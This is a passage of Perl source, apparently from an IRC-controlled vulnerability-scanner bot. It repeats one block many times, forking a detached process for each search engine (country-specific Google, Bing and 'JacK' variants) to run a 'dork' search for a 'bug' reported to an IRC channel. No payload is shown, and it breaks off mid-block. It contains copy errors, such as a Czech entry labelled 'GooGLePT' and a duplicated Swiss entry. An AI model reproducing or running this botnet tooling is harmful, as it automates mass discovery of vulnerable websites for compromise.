exit; } else { &type($chan,$bug,$dork,"JacKMW",$type,$nick); } exit; } } if ($engine =~ /jackmt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMT",$type,$nick); } exit; } } if ($engine =~ /jackmu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMU",$type,$nick); } exit; } } if ($engine =~ /jackfm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKFM",$type,$nick); } exit; } } if ($engine =~ /jackmn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMN",$type,$nick); } exit; } } if ($engine =~ /jackms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMS",$type,$nick); } exit; } } if ($engine =~ /jackma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMA",$type,$nick); } exit; } } if ($engine =~ /jackna/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNA",$type,$nick); } exit; } } if ($engine =~ /jacknp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNP",$type,$nick); } exit; } } if ($engine =~ /jacknz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNZ",$type,$nick); } exit; } } if ($engine =~ /jackni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNI",$type,$nick); } exit; } } if ($engine =~ /jacknf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNF",$type,$nick); } exit; } } if ($engine =~ /jackno/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNO",$type,$nick); } exit; } } if ($engine =~ /jackom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKOM",$type,$nick); } exit; } } if ($engine =~ /jackpk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPK",$type,$nick); } exit; } } if ($engine =~ /jackpa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPA",$type,$nick); } exit; } } if ($engine =~ /jackpy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPY",$type,$nick); } exit; } } if ($engine =~ /jackpe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPE",$type,$nick); } exit; } } if ($engine =~ /jackpn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPN",$type,$nick); } exit; } } if ($engine =~ /jackpt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPT",$type,$nick); } exit; } } if ($engine =~ /jackpr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPR",$type,$nick); } exit; } } if ($engine =~ /jackqa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKQA",$type,$nick); } exit; } } if ($engine =~ /jackrw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKRW",$type,$nick); } exit; } } if ($engine =~ /jacksh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSH",$type,$nick); } exit; } } if ($engine =~ /jacksm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSM",$type,$nick); } exit; } } if ($engine =~ /jacksa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSA",$type,$nick); } exit; } } if ($engine =~ /jacksn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSN",$type,$nick); } exit; } } if ($engine =~ /jacksc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSC",$type,$nick); } exit; } } if ($engine =~ /jacksg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSG",$type,$nick); } exit; } } if ($engine =~ /jacksk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSK",$type,$nick); } exit; } } if ($engine =~ /jackza/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKZA",$type,$nick); } exit; } } if ($engine =~ /jacklk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKLK",$type,$nick); } exit; } } if ($engine =~ /jackvc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKVC",$type,$nick); } exit; } } if ($engine =~ /jackse/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSE",$type,$nick); } exit; } } if ($engine =~ /jackch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCH",$type,$nick); } exit; } } if ($engine =~ /jacktw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTW",$type,$nick); } exit; } } if ($engine =~ /jacktj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTJ",$type,$nick); } exit; } } if ($engine =~ /jackbs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBS",$type,$nick); } exit; } } if ($engine =~ /jackto/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTO",$type,$nick); } exit; } } if ($engine =~ /jacktt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTT",$type,$nick); } exit; } } if ($engine =~ /jacktr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTR",$type,$nick); } exit; } } if ($engine =~ /jacktm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTM",$type,$nick); } exit; } } if ($engine =~ /jackvi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKVI",$type,$nick); } exit; } } if ($engine =~ /jackug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUG",$type,$nick); } exit; } } if ($engine =~ /jackuy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUY",$type,$nick); } exit; } } if ($engine =~ /jackuz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUZ",$type,$nick); } exit; } } if ($engine =~ /jackve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKVE",$type,$nick); } exit; } } if ($engine =~ /jackvn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKVN",$type,$nick); } exit; } } if ($engine =~ /jackzm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKZM",$type,$nick); } exit; } } if ($engine =~ /jackmuseum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMUSEUM",$type,$nick); } exit; } } if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCA",$type,$nick); } exit; } } if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDE",$type,$nick); } exit; } } if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUK",$type,$nick); } exit; } } if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFR",$type,$nick); } exit; } } if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeES",$type,$nick); } exit; } } if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIT",$type,$nick); } exit; } } if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNL",$type,$nick); } exit; } } if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBE",$type,$nick); } exit; } } if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type,$nick); } exit; } } if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSE",$type,$nick); } exit; } } if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDK",$type,$nick); } exit; } } if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNO",$type,$nick); } exit; } } if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNZ",$type,$nick); } exit; } } if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIE",$type,$nick); } exit; } } if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBR",$type,$nick); } exit; } } if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAR",$type,$nick); } exit; } } if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCO",$type,$nick); } exit; } } if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type,$nick); } exit; } } if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCL",$type,$nick); } exit; } } if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMX",$type,$nick); } exit; } } if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAU",$type,$nick); } exit; } } if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRU",$type,$nick); } exit; } } if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAT",$type,$nick); } exit; } } if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePL",$type,$nick); } exit; } } if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIL",$type,$nick); } exit; } } if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTR",$type,$nick); } exit; } } if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUA",$type,$nick); } exit; } } if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGR",$type,$nick); } exit; } } if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeJP",$type,$nick); } exit; } } if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCN",$type,$nick); } exit; } } if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMY",$type,$nick); } exit; } } if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTH",$type,$nick); } exit; } } if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIN",$type,$nick); } exit; } } if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKR",$type,$nick); } exit; } } if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRO",$type,$nick); } exit; } } if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTW",$type,$nick); } exit; } } if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZA",$type,$nick); } exit; } } if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePT",$type,$nick); } exit; } } if ($engine =~ /googleCZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePT",$type,$nick); } exit; } } if ($engine =~ /googleEU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeEU",$type,$nick); } exit; } } if ($engine =~ /googleHU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeHU",$type,$nick); } exit; } } if ($engine =~ /googleID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeID",$type,$nick); } exit; } } if ($engine =~ /googlePH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePH",$type,$nick); } exit; } } if ($engine =~ /googleSI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSI",$type,$nick); } exit; } } if ($engine =~ /googleCAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCAT",$type,$nick); } exit; } } if ($engine =~ /googleBO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBO",$type,$nick); } exit; } } if ($engine =~ /googleBA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBA",$type,$nick); } exit; } } if ($engine =~ /googleCR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCR",$type,$nick); } exit; } } if ($engine =~ /googleHR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeHR",$type,$nick); } exit; } } if ($engine =~ /googleEC/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeEC",$type,$nick); } exit; } } if ($engine =~ /googleFI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFI",$type,$nick); } exit; } } if ($engine =~ /googleHN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeHN",$type,$nick); } exit; } } if ($engine =~ /googleHK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeHK",$type,$nick); } exit; } } if ($engine =~ /googleIS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIS",$type,$nick); } exit; } } if ($engine =~ /googleKZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKZ",$type,$nick); } exit; } } if ($engine =~ /googleKE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKE",$type,$nick); } exit; } } if ($engine =~ /googleLV/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeLV",$type,$nick); } exit; } } if ($engine =~ /googleLT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeLT",$type,$nick); } exit; } } if ($engine =~ /googleLU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeLU",$type,$nick); } exit; } } if ($engine =~ /googleMW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMW",$type,$nick); } exit; } } if ($engine =~ /googleMT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMT",$type,$nick); } exit; } } if ($engine =~ /googleMA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMA",$type,$nick); } exit; } } if ($engine =~ /googleNP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNP",$type,$nick); } exit; } } if ($engine =~ /googlePK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePK",$type,$nick); } exit; } } if ($engine =~ /googlePR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePR",$type,$nick); } exit; } } if ($engine =~ /googleSA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSA",$type,$nick); } exit; } } if ($engine =~ /googleSN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSN",$type,$nick); } exit; } } if ($engine =~ /googleSG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSG",$type,$nick); } exit; } } if ($engine =~ /googleSK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSK",$type,$nick); } exit; } } if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type,$nick); } exit; } } if ($engine =~ /googleVE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeVE",$type,$nick); } exit; } } if ($engine =~ /googleVN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeVN",$type,$nick); } exit; } } if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type,$nick); } exit; } } if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDE",$type,$nick); } exit; } } if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUK",$type,$nick); } exit; } } if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCA",$type,$nick); } exit; } } if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBR",$type,$nick); } exit; } } if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingFR",$type,$nick); } exit; } } if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingES",$type,$nick); } exit; } } if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIT",$type,$nick); } exit; } } if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBE",$type,$nick); } exit; } } if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNL",$type,$nick); } exit; } } if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPT",$type,$nick); } exit; } } if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNO",$type,$nick); } exit; } } if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDK",$type,$nick); } exit; } } if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSE",$type,$nick); } exit; } } if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCH",$type,$nick); } exit; } } if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNZ",$type,$nick); } exit; } } if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingRU",$type,$nick); } exit; } } if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingJP",$type,$nick); } exit; } } if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCN",$type,$nick); } exit; } } if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKR",$type,$nick); } exit; } } if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMX",$type,$nick); } exit; } } if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAR",$type,$nick); } exit; } } if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCL",$type,$nick); } exit; } } if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAU",$type,$nick); } exit; } } if ($engine =~ /bingAE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAE",$type,$nick); } exit; } } if ($engine =~ /bingAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAT",$type,$nick); } exit; } } if ($engine =~ /bingCZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCZ",$type,$nick); } exit; } } if ($engine =~ /bingEU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingEU",$type,$nick); } exit; } } if ($engine =~ /bingHU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingHU",$type,$nick); } exit; } } if ($engine =~ /bingID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingID",$type,$nick); } exit; } } if ($engine =~ /bingIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIL",$type,$nick); } exit; } } if ($engine =~ /bingIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIN",$type,$nick); } exit; } } if ($engine =~ /bingINFO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingINFO",$type,$nick); } exit; } } if ($engine =~ /bingIR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIR",$type,$nick); } exit; } } if ($engine =~ /bingMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMY",$type,$nick); } exit; } } if ($engine =~ /bingNET/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNET",$type,$nick); } exit; } } if ($engine =~ /bingORG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingORG",$type,$nick); } exit; } } if ($engine =~ /bingPH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPH",$type,$nick); } exit; } } if ($engine =~ /bingPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPL",$type,$nick); } exit; } } if ($engine =~ /bingRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingRO",$type,$nick); } exit; } } if ($engine =~ /bingTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingTH",$type,$nick); } exit; } } if ($engine =~ /bingUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUA",$type,$nick); } exit; } } if ($engine =~ /bingUS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingUS",$type,$nick); } exit; } } if ($engine =~ /bingSI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSI",$type,$nick); } exit; } } if ($engine =~ /bingBIZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBIZ",$type,$nick); } exit; } } if ($engine =~ /bingXXX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingXXX",$type,$nick); } exit; } } if ($engine =~ /bingTV/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingTV",$type,$nick); } exit; } } if ($engine =~ /bingCC/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { 